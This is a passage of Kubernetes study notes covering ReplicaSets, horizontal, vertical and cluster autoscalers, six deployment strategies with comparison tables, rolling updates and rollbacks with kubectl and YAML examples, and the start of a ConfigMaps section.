<p>Note: Creating a Deployment that includes a ReplicaSet is recommended over creating a standalone ReplicaSet.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Create deployment</span>
</span></span><span class="line"><span class="cl">kubectl create -f deployment.yaml
</span></span><span class="line"><span class="cl">kubectl get pods
</span></span><span class="line"><span class="cl">kubectl get deploy
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Scale deployment</span>
</span></span><span class="line"><span class="cl">kubectl scale deploy hello-kubernetes --replicas<span class="o">=</span><span class="m">3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Should shows 3 pods running</span>
</span></span><span class="line"><span class="cl">kubectl get pods
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Delete pod</span>
</span></span><span class="line"><span class="cl">kubectl delete pod hello-kubernetes-2324343-5mflw
</span></span><span class="line"><span class="cl"><span class="c1"># Here desired state (--replicas=3) does not</span>
</span></span><span class="line"><span class="cl"><span class="c1"># match the actual state [running pods=2]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and deleted pod replaced by new one</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Create pod extra pod</span>
</span></span><span class="line"><span class="cl">kubectl create pod hello-kubernetes-122323
</span></span><span class="line"><span class="cl"><span class="c1"># Here desired state (--replicas=3) does not</span>
</span></span><span class="line"><span class="cl"><span class="c1"># match the actual state [running pods=4]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and new pod is marked for deletion and removed automatically</span>
</span></span></code></pre></div><h2 id="autoscaling">Autoscaling</h2>
<ul>
<li>ReplicaSets provide a good start for scaling, but you don’t always want 10 instances of your resource running.</li>
<li>Kubernetes autoscaling helps optimize resource usage and costs by automatically scaling a cluster in line with demand as needed.</li>
<li>Kubernetes enables autoscaling at two different layers:
<ul>
<li>the cluster or node level</li>
<li>the pod level.</li>
</ul>
</li>
<li>Three types of autoscalers are available in Kubernetes:
<ul>
<li>The Horizontal Pod Autoscaler (or HPA)</li>
<li>Vertical Pod Autoscaler (or VPA)</li>
<li>Cluster Autoscaler (or CA)</li>
</ul>
</li>
</ul>
<p>To create autoscaling:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl get pods
</span></span><span class="line"><span class="cl">kubectl get rs
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl autoscale deploy hello-kubernetes --min<span class="o">=</span><span class="m">2</span> --max<span class="o">=</span><span class="m">5</span> --cpu-percent<span class="o">=</span><span class="m">50</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl describe rs hello-kubernetes-&lt;hash&gt;
</span></span></code></pre></div><ul>
<li>List the current number or state of pods.</li>
<li>A ReplicaSet is automatically created when you create a deployment. In order to autoscale, you simply use the autoscale command with the requisite attributes.</li>
<li>Min is the number of minimum pods – notice that we have changed the value of “Min” to 2.</li>
<li>Max is the number of maximum pods.</li>
<li>CPU-percent acts as a trigger that tells the system to create a new pod when the CPU usage reaches 50% across the cluster.</li>
<li>In the background, the deployment still uses the ReplicaSet to scale up and down.</li>
<li>The describe command shows the number of replicas in the &ldquo;autoscaled&rdquo; ReplicaSet.</li>
</ul>
<h3 id="the-horizontal-pod-autoscaler-or-hpa">The Horizontal Pod Autoscaler (or HPA)</h3>
<ul>
<li><strong>adjusts</strong> the number of replicas of an application by increasing or decreasing the number of pods.</li>
<li>automatically updates a workload resource (like a deployment) by horizontally scaling the workload to match the demand</li>
<li>Horizontal scaling, or “scaling out,” automatically increases or decreases the number of running pods as application usage changes.</li>
<li>uses a cluster operator that sets targets for metrics like CPU or memory utilization and the maximum and minimum desired number of replicas</li>
<li>even though you can create an HPA autoscaler from scratch, you should use the autoscale command instead.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl get hpa
</span></span></code></pre></div><p>For example,</p>
<p>
  
  <input type="checkbox" id="zoomCheck-fe0a1" hidden />
  <label for="zoomCheck-fe0a1">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/hpa-graph.webp"
      alt="HPA Graph"
       />
  </label>
</p>
<ul>
<li>the system load is low early in the morning, so one pod is sufficient. The HPA autoscales the workload resource to meet usage demand.</li>
<li>By 11am, peak load drives a need for three pods, so the HPA autoscales the workload resource to meet usage demand.</li>
<li>Usage drops in the afternoon, so the third pod is marked for deletion and removed.</li>
<li>And usage drops even lower by 5pm, so another pod is marked for deletion and removed.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="c"># another way to enable autoscaling is to manually</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># create the HPA object from a YAML file.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">autoscaling/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">HorizontalPodAutoScaler</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">default</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w"> </span><span class="c"># can set the minimum and maximum number of pods.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">maxReplicas</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">minReplicas</span><span class="p">:</span><span class="w"> </span><span class="m">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">scaleTargetRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># The CPU-percent flag shows up as “targetCPUUtilizationPercentage”.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">targetCPUUtilizationPercentage</span><span class="p">:</span><span class="w"> </span><span class="m">10</span><span class="w">
</span></span></span></code></pre></div><h3 id="vertical-pod-autoscaler-or-vpa">Vertical Pod Autoscaler (or VPA)</h3>
<ul>
<li><strong>adjusts</strong> the resource requests and limits of a container by increasing or decreasing the resource size or speed of the pods.</li>
<li>A best practice is to scale horizontally, but there are some services you may want to run in a cluster where horizontal scaling is impossible or not ideal.</li>
<li>Vertical scaling, or “scaling up,” refers to adding more resources to an existing machine.</li>
<li>lets you scale a service vertically within a cluster.</li>
<li>uses a cluster operator sets targets for metrics like CPU or memory utilization, similar to an HPA.</li>
<li>The cluster then reconciles the size of the service’s pod or pods based on their current usage and the desired target.</li>
</ul>
<p>For example,</p>
<p>
  
  <input type="checkbox" id="zoomCheck-074d3" hidden />
  <label for="zoomCheck-074d3">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/vpa-graph.webp"
      alt="VPA Graph"
       />
  </label>
</p>
<ul>
<li>the system load is low early in the morning, so system resources used by the pod are low.</li>
<li>By 11am, peak load drives a need for more capacity.</li>
<li>The VPA autoscales the pod by adding more system resources (CPU and memory) to meet the demand.</li>
<li>Usage drops in the afternoon, so the pod is autoscaled to use fewer system resources.</li>
<li>And usage drops even lower by 5pm, so the pod is autoscaled further to match the 7am levels.</li>
</ul>
<blockquote>
<p><strong>Note:</strong> You should not use VPAs with HPAs on resource metrics like CPU or memory. However, you can use them together on custom or external metrics.</p>
</blockquote>
<h3 id="cluster-autoscaler-or-ca">Cluster Autoscaler (or CA)</h3>
<ul>
<li><strong>adjusts</strong> the number of nodes in the cluster when pods fail to schedule, or demand increases or decreases in relation to the existing nodes’ capacity</li>
<li>autoscales the cluster itself, increasing and decreasing the number of available nodes that pods can run on.</li>
<li>Pods are autoscaled using HPA or VPA, but when the nodes themselves are overloaded with pods.</li>
<li>can use a CA to autoscale the nodes so that the pods can rebalance themselves across the cluster.</li>
</ul>
<p>For example,</p>
<p>
  
  <input type="checkbox" id="zoomCheck-49adf" hidden />
  <label for="zoomCheck-49adf">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/ca-graph.webp"
      alt="CA Graph"
       />
  </label>
</p>
<ul>
<li>
<p>the system load is low early in the morning, so existing nodes can handle the load.</p>
</li>
<li>
<p>When demand increases, new pod requests come in, and the CA autoscales the cluster by adding a new node and pods to meet the demand.</p>
</li>
<li>
<p>By 11 am, peak load brings the new node to full capacity.</p>
</li>
<li>
<p>When usage drops in the afternoon, unused pods are marked for deletion and removed.</p>
</li>
<li>
<p>And when usage drops even lower by 5 pm, all pods in the new node are marked for deletion and removed.</p>
</li>
<li>
<p>And then the node itself is marked and removed.</p>
</li>
<li>
<p>cluster autoscaler ensures there is always enough compute power to run your tasks, and that you aren’t paying extra for unused nodes.</p>
</li>
<li>
<p>clusters may have periods where all batch processing jobs are complete, and the new batch doesn’t start until later in the day.</p>
</li>
<li>
<p>Each autoscaler type is suitable in specific scenarios, so you should analyze the pros and cons of each to find the best choice.</p>
</li>
<li>
<p>Using a combination of all three types ensures that</p>
<ul>
<li>services run stably at peak load times, and</li>
<li>costs are minimized in times of lower demand.</li>
</ul>
</li>
</ul>
<h2 id="deployment-strategies">Deployment Strategies</h2>
<ul>
<li>defines an application’s lifecycle that achieves and maintains the configured state for objects and applications in an automated manner. Effective deployment strategies minimize risk.</li>
</ul>
<p>Kubernetes deployment strategies are used to:</p>
<ul>
<li>Deploy, update, or rollback ReplicaSets, Pods, Services, and Applications</li>
<li>Pause/Resume Deployments</li>
<li>Scale Deployments manually or automatically</li>
</ul>
<p>There are are six types of deployment strategies:</p>
<h3 id="recreate">Recreate</h3>
<ul>
<li>is simplest deployment strategy</li>
<li>has short downtime between the shutdown of existing and deployment and the new deployment</li>
<li>Pods running the live version of the application are <strong>all shut down simultaneously</strong>, and a new version of the application is deployed on newly created Pods.</li>
<li>The rollback process is completed in reverse order.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Simple setup</td>
<td>Short downtime occurs between shutdown and new deployment</td>
</tr>
<tr>
<td>Application version completely replaced</td>
<td>-</td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-b8326" hidden />
  <label for="zoomCheck-b8326">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/recreate-strategy.webp"
      alt="Recreate Strategy"
       />
  </label>
</p>
<h3 id="rolling-ramped">Rolling (ramped)</h3>
<ul>
<li>each Pod is updated one at a time, single v1 Pod is replaced and is updated in this way until all Pods are v2.</li>
<li>During rollback process, there is hardly any downtime since users are directed to either version.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Simple setup</td>
<td>Can&rsquo;t control the traffic distribution</td>
</tr>
<tr>
<td>Suitable for stateful applications that need to handle rebalancing of the data</td>
<td>Rollout/rollback takes time</td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-ac62e" hidden />
  <label for="zoomCheck-ac62e">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/ramped-stretegy.webp"
      alt="Ramped Strategy"
       />
  </label>
</p>
<h3 id="bluegreen">Blue/green</h3>
<ul>
<li>the blue environment is the live version of the application.</li>
<li>the green environment is an exact copy that contains the deployment of the new version of the application.</li>
<li>the green environment is created identical to the current production environment and is thoroughly tested.</li>
<li>once all changes, bugs, and issues are addressed, user traffic is switched from the blue environment to the green environment.</li>
<li>to perform a rollback, switch the environment back.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Instance rollout/rollback (no downtime)</td>
<td>Expensive(requires double resources)</td>
</tr>
<tr>
<td>New version is available immediately to all users</td>
<td>Rigorous testing required before releasing to production</td>
</tr>
<tr>
<td></td>
<td>Handling stateful applications is difficult</td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-2aede" hidden />
  <label for="zoomCheck-2aede">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/blue-green-deployment-strategy.webp"
      alt="Blue and green Deployment Strategy"
       />
  </label>
</p>
<h3 id="canary">Canary</h3>
<ul>
<li>the new version of the application is tested using a small set of random users alongside the current live version of the application.</li>
<li>once the version of the application is successfully tested, it is then rolled out to all users.</li>
<li>rollback has no downtime since few users are exposed to the new version.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Convenient for reliability, error, and performance monitoring</td>
<td>Slow rollout, gradual user access</td>
</tr>
<tr>
<td>Fast rollback</td>
<td></td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-5718c" hidden />
  <label for="zoomCheck-5718c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/canary-strategy.webp"
      alt="Canary Strategy"
       />
  </label>
</p>
<h3 id="ab-testing">A/B testing</h3>
<ul>
<li>known as split testing, evaluates two versions of an application (version A and version B).</li>
<li>each version has features that cater to different sets of users.</li>
<li>can select which version is best for global deployment based on user interaction and feedback.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Multiple versions can run in parallel</td>
<td>Requires intelligent load balancer</td>
</tr>
<tr>
<td>Full control over traffic distribution</td>
<td>Difficult to troubleshoot errors for a given session, distributed tracing becomes mandatory</td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-a7786" hidden />
  <label for="zoomCheck-a7786">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/a-b-testing-strategy.webp"
      alt="A/B Testing Strategy"
       />
  </label>
</p>
<h3 id="shadow">Shadow</h3>
<ul>
<li>a &ldquo;shadow version&rdquo; of the application is deployed alongside the live version.</li>
<li>user requests are sent to both versions, and both handle all requests, but the shadow version does not forward responses back to the users.</li>
<li>lets developers see how the shadow version performs using real-world data without interrupting user experience.</li>
</ul>
<table>
<thead>
<tr>
<th>Pros</th>
<th>Cons</th>
</tr>
</thead>
<tbody>
<tr>
<td>Performance testing with production traffic</td>
<td>Expensive (double resources)</td>
</tr>
<tr>
<td>No user impact</td>
<td>Not a true user test, can lead to misinterpreted results</td>
</tr>
<tr>
<td>No downtime</td>
<td>Complex setup</td>
</tr>
<tr>
<td>-</td>
<td>Require monitoring for two environments</td>
</tr>
</tbody>
</table>
<p>
  
  <input type="checkbox" id="zoomCheck-a4058" hidden />
  <label for="zoomCheck-a4058">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/shadow-strategy.webp"
      alt="Shadow Strategy"
       />
  </label>
</p>
<h2 id="comparison">Comparison</h2>
<table>
<thead>
<tr>
<th>Strategy</th>
<th>Zero Downtime</th>
<th>Real Traffic Testing</th>
<th>Targeted Users</th>
<th>Cloud Cost</th>
<th>Rollback Duration</th>
<th>Negative User Impact</th>
<th>Complexity of Setup</th>
</tr>
</thead>
<tbody>
<tr>
<td>Recreate</td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>•&ndash;</td>
<td>•••</td>
<td>•••</td>
<td>- - -</td>
</tr>
<tr>
<td>Ramped</td>
<td>✓</td>
<td>X</td>
<td>X</td>
<td>•&ndash;</td>
<td>•••</td>
<td>•&ndash;</td>
<td>•&ndash;</td>
</tr>
<tr>
<td>Blue/Green</td>
<td>✓</td>
<td>X</td>
<td>X</td>
<td>•••</td>
<td>- - -</td>
<td>••-</td>
<td>••-</td>
</tr>
<tr>
<td>Canary</td>
<td>✓</td>
<td>✓</td>
<td>X</td>
<td>•&ndash;</td>
<td>•&ndash;</td>
<td>•&ndash;</td>
<td>••-</td>
</tr>
<tr>
<td>A/B Testing</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>•&ndash;</td>
<td>•&ndash;</td>
<td>•&ndash;</td>
<td>•••</td>
</tr>
<tr>
<td>Shadow</td>
<td>✓</td>
<td>✓</td>
<td>X</td>
<td>•••</td>
<td>- - -</td>
<td>- - -</td>
<td>•••</td>
</tr>
</tbody>
</table>
<p>To create a good strategy:</p>
<ul>
<li>Consider the product type and the target audience</li>
<li>Shadow and canary strategies use live user requests, as opposed to using a sample of users.</li>
<li>The A/B testing strategy is useful if the version of the application requires minor tweaks or UI feature changes.</li>
<li>The blue/green strategy is useful if your version of the application is complex or critical and needs proper monitoring with no downtime during deployment.</li>
<li>The canary strategy is a good choice if you want zero downtime and are comfortable exposing your version of the application to the public.</li>
<li>A rolling strategy gradually deploys the new version of the application. There is no downtime, and it is easy to roll back.</li>
<li>The recreate strategy is a good choice if the application is not critical and users aren’t impacted by a short downtime.</li>
</ul>
<h2 id="rolling-updates">Rolling updates</h2>
<ul>
<li>are automated updates that occur on a scheduled basis.
<ul>
<li>They roll out automated and controlled app changes across pods,</li>
<li>Work with pod templates like deployments, and</li>
<li>allow for rollback as needed.</li>
</ul>
</li>
</ul>
<p>To prepare your application to enable rolling updates,</p>
<ul>
<li>Step 1: Add liveness probes and readiness probes to deployments. That way deployments are appropriately marked as ‘ready.’</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">livenessProbe:
</span></span><span class="line"><span class="cl">  httpGet:
</span></span><span class="line"><span class="cl">    path: /
</span></span><span class="line"><span class="cl">    port: <span class="m">9080</span>
</span></span><span class="line"><span class="cl">  initialDelaySeconds: <span class="m">300</span>
</span></span><span class="line"><span class="cl">  periodSeconds: <span class="m">15</span>
</span></span><span class="line"><span class="cl">readinessProbe:
</span></span><span class="line"><span class="cl">  httpGet:
</span></span><span class="line"><span class="cl">    path: /
</span></span><span class="line"><span class="cl">    port: <span class="m">9080</span>
</span></span><span class="line"><span class="cl">  initialDelaySeconds: <span class="m">45</span>
</span></span><span class="line"><span class="cl">  periodSeconds: <span class="m">5</span>
</span></span></code></pre></div><ul>
<li>Step 2: add a rolling update strategy to the YAML file.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">apiVersion: apps/v1
</span></span><span class="line"><span class="cl">kind: Deployment
</span></span><span class="line"><span class="cl">metadata:
</span></span><span class="line"><span class="cl">  name: nginx-test
</span></span><span class="line"><span class="cl">spec:
</span></span><span class="line"><span class="cl">  replicas: <span class="m">10</span> <span class="c1"># creating a deployment with 10 pods.</span>
</span></span><span class="line"><span class="cl">  selector:
</span></span><span class="line"><span class="cl">    matchLabels:
</span></span><span class="line"><span class="cl">      service: http-server
</span></span><span class="line"><span class="cl">  <span class="c1"># to wait a few seconds before moving to the next pod in the rollout stage</span>
</span></span><span class="line"><span class="cl">  minReadySeconds: <span class="m">5</span>
</span></span><span class="line"><span class="cl">  progressDeadlineSeconds: <span class="m">600</span>
</span></span><span class="line"><span class="cl">  strategy:
</span></span><span class="line"><span class="cl">    type: RollingUpdate
</span></span><span class="line"><span class="cl">    rollingUpdate:
</span></span><span class="line"><span class="cl">      <span class="c1"># strategy is to have at-least 50% of the pods always available</span>
</span></span><span class="line"><span class="cl">      <span class="c1"># for a zero-downtime system, set the maxUnavailable to 0.</span>
</span></span><span class="line"><span class="cl">      <span class="c1"># Setting the maxSurge to 100% would double the number of pods</span>
</span></span><span class="line"><span class="cl">      <span class="c1"># and create a complete replica before taking the original set down</span>
</span></span><span class="line"><span class="cl">      <span class="c1"># after the rollout is complete.</span>
</span></span><span class="line"><span class="cl">      maxUnavailable: 50%
</span></span><span class="line"><span class="cl">      <span class="c1"># there can only be 2 pods added to the 10 you defined earlier</span>
</span></span><span class="line"><span class="cl">      maxSurge: <span class="m">2</span>
</span></span></code></pre></div><h3 id="rolling-out-an-application-update">Rolling out an application update</h3>
<ul>
<li>Assume, You have a deployment with three pods in your ReplicaSet.</li>
<li>Your application displays the message, “Hello world!”</li>
<li>Your client has submitted a new request, and you have a new image for your application with a different message, “Hello world v2!’ to your users.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="c1">// Older
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">port</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">PORT</span> <span class="o">||</span> <span class="mi">8080</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">message</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">MESSAGE</span> <span class="o">||</span> <span class="s1">&#39;Hello world!&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Newer
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">port</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">PORT</span> <span class="o">||</span> <span class="mi">8080</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">message</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">MESSAGE</span> <span class="o">||</span> <span class="s1">&#39;Hello world v2!&#39;</span><span class="p">;</span>
</span></span></code></pre></div><ul>
<li>But you cannot have any downtime in your application.</li>
<li>First, you need to build, tag, and upload this new image to Docker Hub.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker build -t hello-kubernetes .
</span></span><span class="line"><span class="cl">docker tag hello-kubernetes cham11ng/hello-kubernetes:2.0
</span></span><span class="line"><span class="cl">docker push cham11ng/hello-kubernetes:2.0
</span></span><span class="line"><span class="cl"><span class="c1"># Your new software has been dockerized</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and then updated to Docker Hub with the name</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and tag cham11ng/hello-kubernetes:2.0”.</span>
</span></span></code></pre></div><ul>
<li>Second, apply the new image to your deployment.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl get deployments
</span></span><span class="line"><span class="cl"><span class="c1"># sets the image flag to the updated tag image on Docker Hub</span>
</span></span><span class="line"><span class="cl">kubectl <span class="nb">set</span> image deployments/hello-kubernetes <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  hello-kubernetes<span class="o">=</span>cham11ng/hello-kubernetes:2.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  deployment.extensions/hello-kubernetes image updated
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># observe that version 2 deployment has been rollout</span>
</span></span><span class="line"><span class="cl">kubectl rollout status deployments/hello-kubernetes
</span></span><span class="line"><span class="cl">  deployment <span class="s2">&#34;hello-kubernetes&#34;</span> successfully rolled out.
</span></span></code></pre></div><ul>
<li>Third, you can roll back your changes using the &ldquo;rollout undo&rdquo; command if there are errors in a deployment or the clients can change their minds.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl rollout undo deployments/hello-kubernetes
</span></span><span class="line"><span class="cl">  deployment.extensions/hello-kubernetes rolled back
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl get pods
</span></span><span class="line"><span class="cl"><span class="c1"># we see three new pods that were created as port of the rollback</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and can see some pods in terminating status</span>
</span></span></code></pre></div><h3 id="how-rolling-works">How rolling works</h3>
<h4 id="all-at-once">All-at-once</h4>
<p>In an <strong>all-at-once rollout</strong>, all v1 objects must be removed before v2 objects can become active.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-564b5" hidden />
  <label for="zoomCheck-564b5">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/all-at-once-rollout.webp"
      alt="All-at-once rollout"
       />
  </label>
</p>
<ul>
<li>Here you see version 1 of an app with three pods running that users can access.</li>
<li>When version 2 is deployed, new pods are created.</li>
<li>The version 1 pods are marked for deletion and removed and user access is blocked.</li>
<li>Once the version 1 pods are removed, the version 2 pods become active and user access is restored.</li>
<li>Notice the time lag between deployment and pod updates.</li>
</ul>
<p>In an <strong>all-at-once rollback</strong>, all v2 objects must be removed before v1 objects can become active.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-e00f0" hidden />
  <label for="zoomCheck-e00f0">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/all-at-once-rollback.webp"
      alt="All-at-once rollback"
       />
  </label>
</p>
<ul>
<li>Here you see version 2 of an app with three pods running that users can access.</li>
<li>When version 1 of the app is deployed, new pods are created.</li>
<li>The version 2 pods are marked for deletion and removed and user access is blocked.</li>
<li>Once the version 2 pods are removed, the version 1 pods become active and user access is restored.</li>
</ul>
<h4 id="one-at-a-time">One-at-a-time</h4>
<p>In a <strong>one-at-a-time rollout</strong>, the update is staggered so user access is not interrupted.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-ffaac" hidden />
  <label for="zoomCheck-ffaac">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/one-at-a-time-rollout.webp"
      alt="One-at-a-time rollout"
       />
  </label>
</p>
<ul>
<li>Here you see version 1 of an app with three running pods that users can access.</li>
<li>When version 2 is deployed, a new pod is created.</li>
<li>The first version 1 pod is marked for deletion and removed, and the v2 pod becomes active.</li>
<li>Now, a second v2 pod is created, and the second version 1 pod is marked for deletion and removed, and the second v2 pod becomes active.</li>
<li>Then, a third v2 pod is created, and the third version 1 pod is marked for deletion and removed. And now the third v2 pod becomes active.</li>
</ul>
<p>In a <strong>one-at-a-time rollback</strong>, the update rollback is staggered so user access is not interrupted.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-8f727" hidden />
  <label for="zoomCheck-8f727">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/one-at-a-time-rollback.webp"
      alt="One-at-a-time rollback"
       />
  </label>
</p>
<ul>
<li>Here you see version 2 of an app with three running pods that users can access.</li>
<li>When version 1 of the app is deployed, a new pod is created.</li>
<li>The first version 2 pod is marked for deletion and removed, and the v1 pod becomes active.</li>
<li>Now, a second v1 pod is created. The second version 2 pod is marked for deletion and removed, and the second v1 pod becomes active.</li>
<li>Then, a third v1 pod is created, and the third version 2 pod is marked for deletion and removed. And the third v1 pod becomes active.</li>
</ul>
<h2 id="configmaps">ConfigMaps</h2>
<ul>
<li>helps developers avoid hard coding configuration variables in application code by keeping the configuration variables separate so that any changes in configuration settings do not require code changes.</li>
<li>is an API object that stores non-confidential data in key-value pairs.</li>
<li>provides configuration data to pods and deployments so that the configuration data is not hard coded inside the application code</li>
<li>is meant for non-sensitive information as they do not provide secrecy or encryption.</li>
<li>The data stored in a ConfigMap is limited and cannot exceed 1 megabyte
<ul>
<li>For larger amounts of data, consider mounting a volume or use a separate database or file service</li>
</ul>
</li>
<li>has optional data and binaryData fields and no “spec&quot; field in the template</li>
<li>the Config name must be a valid DNS subdomain name</li>
<li>A ConfigMap is reusable for multiple deployments, thus decoupling the environment from the deployments themselves!</li>
<li>Multiple ways to create
<ul>
<li>a ConfigMap by using string literals,</li>
<li>by using an existing “properties” or ”key” = “value” file,</li>
<li>or by providing a ConfigMap YAML descriptor file. You can use the first and second ways to help create such a YAML file.</li>
</ul>
</li>
<li>Multiple ways to reference from pod/deployment to consume a ConfigMap
<ul>
<li>reference by using environment variables with the configMapKeyRef attribute</li>
<li>by mounting a file using the volumes plugin. (mount as volume)</li>
</ul>
</li>
<li>Kubernetes applies the ConfigMap to the pod or the deployment just before running the pod or deployment.</li>
</ul>
<h3 id="configuration-environment-variable">Configuration: Environment Variable</h3>
<ul>
<li>You’ll use the environment variable directly in the YAML file.</li>
<li>Apply this deployment descriptor to our deployment.</li>
<li>Here, the message is hard-coded in the descriptor file.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">containers</span><span class="p">:</span><span class="w">
